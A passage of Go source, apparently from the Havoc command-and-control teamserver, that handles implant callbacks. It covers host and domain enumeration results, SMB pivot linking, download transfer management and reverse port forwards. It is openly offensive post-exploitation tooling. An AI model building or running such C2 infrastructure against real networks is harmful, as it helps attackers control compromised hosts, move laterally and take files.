logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID))
}
} else {
Message["Type"] = "Error"
Message["Message"] = "Failed to take a screenshot"
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID))
}
break
case COMMAND_NET:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
NetCommand = Parser.ParseInt32()
Message = make(map[string]string)
)
switch NetCommand {
case DEMON_NET_COMMAND_DOMAIN:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Domain = Parser.ParseString()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Domain: %s", AgentID, Domain))
if Domain == "" {
Message["Type"] = "Good"
Message["Message"] = "The machine does not seem to be joined to a domain"
} else {
Message["Type"] = "Good"
Message["Message"] = fmt.Sprintf("Domain for this Host: %s", Domain)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_LOGONS:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS", AgentID))
var (
Index int
Output string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Domain = Parser.ParseUTF16String()
Output += fmt.Sprintf(" %-12s\n", "Usernames")
Output += fmt.Sprintf(" %-12s\n", "---------")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Name = Parser.ParseUTF16String()
Index++
Output += fmt.Sprintf(" %-12s\n", Name)
}
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Logged on users at %s [%v]: ", Domain, Index)
Message["Output"] = "\n" + Output
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_SESSIONS:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS", AgentID))
var (
Index int
Buffer bytes.Buffer
Data [][]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Domain = Parser.ParseUTF16String()
table := tablewriter.NewWriter(&Buffer)
table.SetBorder(false)
table.SetHeader([]string{"Computer", "Username", "Active", "Idle"})
table.SetBorder(false)
table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
// table.SetRowSeparator("-")
table.SetColumnSeparator(" ")
table.SetCenterSeparator(" ")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) {
var (
Client = Parser.ParseUTF16String()
User = Parser.ParseUTF16String()
Time = int(Parser.ParseInt32())
Idle = int(Parser.ParseInt32())
Column []string
)
Index++
Column = []string{Client, User, strconv.Itoa(Time), strconv.Itoa(Idle)}
Data = append(Data, Column)
}
table.AppendBulk(Data)
table.Render()
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Sessions for %v [%v]: ", Domain, Index)
Message["Output"] = "\n" + Buffer.String()
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_COMPUTER:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_COMPUTER", AgentID))
a.RequestCompleted(RequestID)
break
case DEMON_NET_COMMAND_DCLIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DCLIST", AgentID))
a.RequestCompleted(RequestID)
break
case DEMON_NET_COMMAND_SHARE:
var (
Index int
Buffer bytes.Buffer
Data [][]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE", AgentID))
var Domain = Parser.ParseUTF16String()
table := tablewriter.NewWriter(&Buffer)
table.SetBorder(false)
table.SetHeader([]string{"Share name", "Path", "Remark", "Access"})
table.SetBorder(false)
table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
// table.SetRowSeparator("-")
table.SetColumnSeparator(" ")
table.SetCenterSeparator(" ")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32}) {
var (
Name = Parser.ParseUTF16String()
Path = Parser.ParseUTF16String()
Remark = Parser.ParseUTF16String()
Access = int(Parser.ParseInt32())
Column []string
)
Index++
Column = []string{Name, Path, Remark, strconv.Itoa(Access)}
Data = append(Data, Column)
}
table.AppendBulk(Data)
table.Render()
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Shares for %v [%v]: ", Domain, Index)
Message["Output"] = "\n" + Buffer.String()
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_LOCALGROUP:
var Data string
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP", AgentID))
var Domain = Parser.ParseUTF16String()
Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description")
Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {
var (
Group = Parser.ParseUTF16String()
Description = Parser.ParseUTF16String()
)
Data += fmt.Sprintf(" %-48s %s\n", Group, Description)
}
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Local Groups for %v: ", Domain)
Message["Output"] = "\n" + Data
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_GROUP:
var Data string
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP", AgentID))
var Domain = Parser.ParseUTF16String()
Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description")
Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {
var (
Group = Parser.ParseUTF16String()
Description = Parser.ParseUTF16String()
)
Data += fmt.Sprintf(" %-48s %s\n", Group, Description)
}
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("List groups on %s: ", Domain)
Message["Output"] = "\n" + Data
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP, Invalid packet", AgentID))
}
break
case DEMON_NET_COMMAND_USERS:
var Data string
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS", AgentID))
var Target = Parser.ParseUTF16String()
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) {
var (
User = Parser.ParseUTF16String()
Admin = Parser.ParseInt32()
)
if Admin == win32.TRUE {
Data += fmt.Sprintf(" - %s (Admin)\n", User)
} else {
Data += fmt.Sprintf(" - %s \n", User)
}
}
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Users on %v: ", Target)
Message["Output"] = "\n" + Data
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - UNKNOWN (%d)", AgentID, NetCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET, Invalid packet", AgentID))
}
break
case COMMAND_PIVOT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
PivotCommand = Parser.ParseInt32()
Message = make(map[string]string)
)
switch PivotCommand {
case DEMON_PIVOT_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_LIST", AgentID))
var (
Data string
Count int
)
Data += fmt.Sprintf(" %-10s %s\n", "DemonID ", "Named Pipe")
Data += fmt.Sprintf(" %-10s %s\n", "--------", "-----------")
for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
DemonId int
NamedPipe string
)
DemonId = Parser.ParseInt32()
NamedPipe = Parser.ParseUTF16String()
Data += fmt.Sprintf(" %-10x %v\n", DemonId, NamedPipe)
Count++
}
if Count > 0 {
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Pivot List [%v]: ", Count)
Message["Output"] = "\n" + Data
} else {
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("No pivots connected")
}
a.RequestCompleted(RequestID)
case DEMON_PIVOT_SMB_CONNECT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Success: %d", AgentID, Success))
// if we successfully connected to the SMB named pipe
if Success == 1 {
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var (
DemonData = Parser.ParseBytes()
AgentHdr Header
err error
)
// parse the agent header
if AgentHdr, err = ParseHeader(DemonData); err == nil {
if AgentHdr.MagicValue == DEMON_MAGIC_VALUE {
// ignore the RequestID
AgentHdr.Data.ParseInt32()
// ignore the CommandID
AgentHdr.Data.ParseInt32()
var DemonInfo *Agent
// if agent exist then just retrieve the instance by agent id
if teamserver.AgentExist(AgentHdr.AgentID) {
DemonInfo = teamserver.AgentInstance(AgentHdr.AgentID)
Message["MiscType"] = "reconnect"
Message["MiscData"] = fmt.Sprintf("%v;%x", a.NameID, AgentHdr.AgentID)
if DemonInfo.Pivots.Parent != nil {
for i := range DemonInfo.Pivots.Parent.Pivots.Links {
if DemonInfo.Pivots.Parent.Pivots.Links[i].NameID == fmt.Sprintf("%08x", AgentHdr.AgentID) {
DemonInfo.Pivots.Parent.Pivots.Links = append(DemonInfo.Pivots.Parent.Pivots.Links[:i], DemonInfo.Pivots.Parent.Pivots.Links[i+1:]...)
break
}
}
}
DemonInfo.Active = true
DemonInfo.Reason = ""
DemonInfo.Pivots.Parent = a
a.Pivots.Links = append(a.Pivots.Links, DemonInfo)
teamserver.LinkAdd(a, DemonInfo)
teamserver.AgentUpdate(DemonInfo)
teamserver.AgentUpdate(a)
} else {
// if the agent doesn't exist then we assume that it's a register request from a new agent
DemonInfo = ParseDemonRegisterRequest(AgentHdr.AgentID, AgentHdr.Data, "")
DemonInfo.Pivots.Parent = a
a.Pivots.Links = append(a.Pivots.Links, DemonInfo)
teamserver.LinkAdd(a, DemonInfo)
DemonInfo.Info.MagicValue = AgentHdr.MagicValue
teamserver.AgentAdd(DemonInfo)
teamserver.AgentSendNotify(DemonInfo)
}
if DemonInfo != nil {
Message["Type"] = "Good"
Message["Message"] = "[SMB] Connected to pivot agent [" + a.NameID + "]-<>-<>-[" + DemonInfo.NameID + "]"
} else {
Message["Type"] = "Error"
Message["Message"] = "[SMB] Failed to connect: failed to parse the agent"
}
} else {
Message["Type"] = "Error"
Message["Message"] = "[SMB] Failed to connect: magic value isn't demon type"
}
} else {
Message["Type"] = "Error"
Message["Message"] = "[SMB] Failed to connect: " + err.Error()
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID))
Message["Type"] = "Error"
Message["Message"] = "[SMB] Failed to connect: Invalid response"
}
} else {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug("DEMON_PIVOT_SMB_CONNECT: Failed")
var (
ErrorCode = Parser.ParseInt32()
ErrorString, found = Win32ErrorCodes[ErrorCode]
)
ErrorString += " "
if !found {
ErrorString = ""
}
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("[SMB] Failed to connect: %v [%v]", ErrorString, ErrorCode)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID))
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID))
}
break
case DEMON_PIVOT_SMB_DISCONNECT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Success = Parser.ParseInt32()
AgentID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Success: %d, AgentID: %x", AgentID, Success, AgentID))
if Success == win32.TRUE {
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("[SMB] Agent disconnected %x", AgentID)
Message["MiscType"] = "disconnect"
Message["MiscData"] = fmt.Sprintf("%08x", AgentID)
AgentInstance := teamserver.AgentInstance(AgentID)
if AgentInstance != nil {
teamserver.LinkRemove(a, AgentInstance, true)
}
} else {
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("[SMB] Failed to disconnect agent %x", AgentID)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Invalid packet", AgentID))
}
break
case DEMON_PIVOT_SMB_COMMAND:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var (
Package = Parser.ParseBytes()
AgentHdr, err = ParseHeader(Package)
)
if err == nil {
if AgentHdr.MagicValue == DEMON_MAGIC_VALUE {
var PivotAgent *Agent
PivotAgent = teamserver.AgentInstance(AgentHdr.AgentID)
if PivotAgent != nil {
PivotAgent.UpdateLastCallback(teamserver)
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Linked Agent: %s, Command: %d", AgentID, PivotAgent.NameID, Command))
// while we can read a command and request id, parse new packages
first_iter := true
for (AgentHdr.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
var Command = uint32(AgentHdr.Data.ParseInt32())
var Request = uint32(AgentHdr.Data.ParseInt32())
if first_iter {
first_iter = false
// if the message is not a reconnect, decrypt the buffer
AgentHdr.Data.DecryptBuffer(PivotAgent.Encryption.AESKey, PivotAgent.Encryption.AESIv)
}
/* The agent is sending us the result of a task */
if Command != COMMAND_GET_JOB {
Parser := parser.NewParser(AgentHdr.Data.ParseBytes())
PivotAgent.TaskDispatch(Request, Command, Parser, teamserver)
}
}
} else {
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("Can't process output for %x: Agent not found", AgentHdr.AgentID)
}
} else {
Message["Type"] = "Error"
Message["Message"] = "[SMB] Response magic value isn't demon type"
}
} else {
Message["Type"] = "Error"
Message["Message"] = "[SMB] Failed to parse agent header: " + err.Error()
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - UNKNOWN (%d)", AgentID, PivotCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT, Invalid packet", AgentID))
}
break
case COMMAND_TRANSFER:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
SubCommand = Parser.ParseInt32()
Message map[string]string
)
switch SubCommand {
case DEMON_COMMAND_TRANSFER_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_LIST", AgentID))
var (
Data string
Count int
)
Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "File ID", "Size", "Progress", "State", "File")
Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "-------", "----", "--------", "-----", "----")
for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
FileID = Parser.ParseInt32()
Size = Parser.ParseInt32()
State = Parser.ParseInt32()
)
if download := a.DownloadGet(FileID); download != nil {
var (
StateString string
Progress string
)
if State == DOWNLOAD_STATE_RUNNING {
StateString = "Running"
} else if State == DOWNLOAD_STATE_STOPPED {
StateString = "Stopped"
} else if State == DOWNLOAD_STATE_REMOVE {
/* pending remove */
StateString = "Removed"
}
Progress = fmt.Sprintf("%.2f%%", common.PercentageChange(Size, download.TotalSize))
Data += fmt.Sprintf(" %-8x %-8s %-8s %-8s %s\n", FileID, common.ByteCountSI(int64(download.TotalSize)), Progress, StateString, download.FilePath)
Count++
}
}
Message = map[string]string{
"Type": "Info",
"Message": fmt.Sprintf("List downloads [%v current downloads]:", Count),
"Output": "\n" + Data,
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_TRANSFER_STOP:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Found = Parser.ParseInt32()
FileID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Found: %d, FileID: %x", AgentID, Found, FileID))
if Found == win32.TRUE {
if download := a.DownloadGet(FileID); download != nil {
Message = map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Successful found and stopped download: %x", FileID),
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't stop download %x: Download does not exists", FileID),
}
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't stop download %x: FileID not found", FileID),
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x1 (stop). Expected at least 8 bytes but received %v bytes", Parser.Length()),
}
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_TRANSFER_RESUME:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Found = Parser.ParseInt32()
FileID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Found: %d, FileID: %x", AgentID, Found, FileID))
if Found == win32.TRUE {
if download := a.DownloadGet(FileID); download != nil {
Message = map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Successful found and resumed download: %x", FileID),
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't resume download %x: Download does not exists", FileID),
}
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't resume download %x: FileID not found", FileID),
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x2 (resume). Expected at least 8 bytes but received %v bytes", Parser.Length()),
}
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_TRANSFER_REMOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Found = Parser.ParseInt32()
FileID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Found: %d, FileID: %x", AgentID, Found, FileID))
if Found == win32.TRUE {
if download := a.DownloadGet(FileID); download != nil {
Message = map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Successful found and removed download: %x", FileID),
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't remove download %x: Download does not exists", FileID),
}
}
} else {
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Couldn't remove download %x: FileID not found", FileID),
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x3 (remove). Expected at least 8 bytes but received %v bytes", Parser.Length()),
}
}
a.RequestCompleted(RequestID)
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - UNKNOWN (%d)", AgentID, SubCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER, Invalid packet", AgentID))
}
break
case COMMAND_SOCKET:
var (
SubCommand = 0
Message map[string]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand {
case SOCKET_COMMAND_RPORTFWD_ADD:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
Success = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
LclString string
)
Success = Parser.ParseInt32()
SocktID = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Success: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Success, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
LclString = common.Int32ToIpString(int64(LclAddr))
FwdString = common.Int32ToIpString(int64(FwdAddr))
if Success == win32.TRUE {
a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("Started reverse port forward on %s:%d to %s:%d [Id: %x]", LclString, LclPort, FwdString, FwdPort, SocktID), "")
return
} else {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to start reverse port forward on %s:%d to %s:%d", LclString, LclPort, FwdString, FwdPort), "")
return
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_ADD : 0x0) expected at least 16 bytes but received %v bytes", Parser.Length()),
}
}
break
case SOCKET_COMMAND_RPORTFWD_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_LIST", AgentID))
var (
FwdList string
FwdCount int
)
FwdList += "\n"
FwdList += fmt.Sprintf(" %-12s %s\n", "Socket ID", "Forward")
FwdList += fmt.Sprintf(" %-12s %s\n", "---------", "-------")
for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
LclString string
)
SocktID = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
LclString = common.Int32ToIpString(int64(LclAddr))
FwdString = common.Int32ToIpString(int64(FwdAddr))
FwdList += fmt.Sprintf(" %-12x %s\n", SocktID, fmt.Sprintf("%s:%d -> %s:%d", LclString, LclPort, FwdString, FwdPort))
FwdCount++
}
a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("reverse port forwards [%d active]:", FwdCount), FwdList)
a.RequestCompleted(RequestID)
break
case SOCKET_COMMAND_RPORTFWD_REMOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
Type = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
LclString string
)
SocktID = Parser.ParseInt32()
Type = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Type: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Type, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
LclString = common.Int32ToIpString(int64(LclAddr))
FwdString = common.Int32ToIpString(int64(FwdAddr))
if Type == SOCKET_TYPE_REVERSE_PORTFWD {
Message = map[string]string{
"Type": "Info",
"Message": fmt.Sprintf("Successful closed and removed rportfwd [SocketID: %x] [Forward: %s:%d -> %s:%d]", SocktID, LclString, LclPort, FwdString, FwdPort),
}
}
/* finally close our port forwarder */
a.PortFwdClose(SocktID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Info",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_REMOVE : 0x4) expected at least 20 bytes but received %v bytes", Parser.Length()),
}
}
a.RequestCompleted(RequestID)
break
case SOCKET_COMMAND_RPORTFWD_CLEAR:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Success: %d", AgentID, Success))
if Success == win32.TRUE {
Message = map[string]string{
"Type": "Good",
"Message": "Successful closed and removed all rportfwds",
}
} else {
Message = map[string]string{
"Type": "Erro",
"Message": "Failed to closed and remove all rportfwds",
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Info",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_CLEAR : 0x3) expected at least 4 bytes but received %v bytes", Parser.Length()),
}
}
a.RequestCompleted(RequestID)
break
case SOCKET_COMMAND_SOCKSPROXY_ADD:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_SOCKSPROXY_ADD", AgentID))
break
case SOCKET_COMMAND_OPEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
)
SocktID = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
FwdString = common.Int32ToIpString(int64(FwdAddr))
FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort)
if Socket := a.PortFwdGet(SocktID); Socket != nil {
/* Socket already exists. don't do anything. */
logger.Debug("Socket already exists")
return
}
/* add this rportfwd */
a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)
/* we will open the rportfwd client only after we have something to write */
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID))
}
break
case SOCKET_COMMAND_READ:
/* if we receive the SOCKET_COMMAND_READ command
* that means that we should read the callback and send it to the forwared host/socks proxy */
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = Parser.ParseInt32()
Type = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
if Success == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var(
Data = Parser.ParseBytes()
)
// avoid too much spam
